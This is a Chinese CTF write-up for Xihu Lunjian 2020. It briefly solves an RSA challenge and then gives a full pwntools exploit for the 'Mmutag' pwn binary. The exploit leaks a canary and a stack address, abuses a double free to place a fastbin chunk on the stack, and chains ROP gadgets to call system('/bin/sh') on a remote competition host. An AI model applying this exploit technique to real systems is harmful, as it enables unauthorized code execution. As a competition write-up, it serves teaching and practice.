西湖论剑2020部分wp

西湖论剑2020

CRYPTO

BrokenSystems

拿到三个文件,一个是py加密过程,一个是message密文,和public.key公钥。

解析公钥发现e很大,那d可能比较小,使用RSACtfTool解密得到私钥。

私钥2.epm:

解密得到flag:

DASCTF{ce02347b86167f2d3519251b9a8a5ba8}

PWN

Mmutag

0x01程序分析

1.先查看一下保护。可以修改GOT表,有canary,不能在栈上执行代码,没有PIE

2.试运行一下。一开始输入一个名字,会返回一个地址。然后是两层菜单。其实只有第二个的菜单有用

3.ida pro查看。给了栈上的一个地址。

分别查看一下add和delete

Add函数。判断一下ptr[id]是否已经被使用,否则malloc(0x68)大小的heap。读入内容。并将ptr[0]计数增加1

注意下面红圈。3.exit的情况会先读入到buf,再输出buf.(可以泄露canary)

Delete函数。判断ptr[id]是否使用。但是并没有将ptr[a1]置0.存在double free

0x02漏洞利用

现在有两个可以利用的点。

  1. 一开始泄露堆栈地址
  2. exit时,可以覆盖canary的最后一位0x00,导致canary泄露
  3. 存在double free

思路:

  1. 得到栈地址
  2. 泄露canary
  3. 在buf构造fastbin_cunk.pre_size=0,size=0x71,fd=0.

  1. 构造double free.在buf上创建chunk。并用之前得到的canary构造ROP链,泄露libc
  2. 重新得到栈地址
  3. 重复3,4两步。来getshell

0x03 exp

from pwn import *  
#context.log_level = 'debug'  
context.terminal = ['terminator','-x','sh','-c']  
#p = process('./mmutag')  
p = remote('183.129.189.61',55004)  
elf = ELF('./mmutag')  
libc = ELF('./libc.so.6')  
pop_rdi_ret = 0x0000000000400d23  
puts_got = elf.got['puts']  
puts_plt = elf.plt['puts']  
main_addr = 0x400BF1  
start_addr = 0x400750  
#ptr 0x6020C0  
def add(idx,content):  
    p.recvuntil('please input your choise:')  
    p.sendline('1')  
    p.recvuntil('please input your id:')  
    p.sendline(str(idx))  
    p.recvuntil('input your content')  
    p.sendline(content)  
      
  
def delete(idx):  
    p.recvuntil('please input your choise:')  
    p.sendline('2')  
    p.recvuntil('please input your id:')  
    p.sendline(str(idx))  
      
  
def exit(content):  
    p.recvuntil('please input your choise:')  
    p.sendline('3')  
    p.sendline(content)  
      
  
def introduce(content):  
    p.sendline('4')  
    p.sendline(content)  
  
  
#得到stack地址  
p.sendlineafter('please input you name:','aaaa')  
p.recvuntil('this is your tag: ')  
stack_addr = int(p.recv(14),16)  
log.success("stack_addr:{}".format(hex(stack_addr)))  
  
p.sendline('2')#进入introduce  
#泄露cannary  
exit('A'*20+'abel')  
p.recvuntil('abel\n')  
cannary = u64(p.recv(7).rjust(8,b'\x00'))  
log.success('cannary:{}'.format(hex(cannary)))  
#构造fastbin_chunk  
payload1 = b'\x00'*8+b'\x71'+b'\x00'*7+b'\x00'*8  
exit(payload1)  
  
payload = 'BBBB'  
add(1,payload)  
add(2,payload)  
delete(1)  
delete(2)  
delete(1)  
  
payload2 = p64(stack_addr -  0x40)  
add(3,payload2)#chunk1  
add(4,payload)#chunk2  
add(5,payload)#chunk1  
  
payload3 = b'A'*8+p64(cannary)+b'B'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)  
add(6,payload3)  
p.recv()  
p.recv()  
p.sendline("4")  
puts_addr = u64(p.recv(6,timeout=1000).ljust(8,b'\x00'))  
libc_base = puts_addr - libc.symbols['puts']  
system_addr = libc_base + libc.symbols['system']  
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))  
log.success('libc_base:{}'.format(hex(libc_base)))  
log.success('system_addr:{}'.format(hex(system_addr)))  
log.success('binsh_addr:{}'.format(hex(binsh_addr)))  
log.success('puts_addr:{}'.format(hex(puts_addr)))  
  
#getshell  
#得到stack地址  
p.sendlineafter('please input you name:','aaaa')  
p.recvuntil('this is your tag: ')  
stack_addr = int(p.recv(14),16)  
log.success("stack_addr:{}".format(hex(stack_addr)))  
  
p.sendline('2')  
#构造fastbin_chunk  
payload1 = b'\x00'*8+b'\x71'+b'\x00'*7+b'\x00'*8  
exit(payload1)  
  
payload = 'BBBB'  
delete(1)  
delete(2)  
delete(1)  
  
payload2 = p64(stack_addr -  0x40)  
add(7,payload2)#chunk1  
add(8,payload)#chunk2  
add(9,payload)#chunk1  
payload3 =  b'A'*8+p64(cannary)+b'B'*8+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(start_addr)  
add(10,payload3)  
p.sendline("4")  
p.interactive()  

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注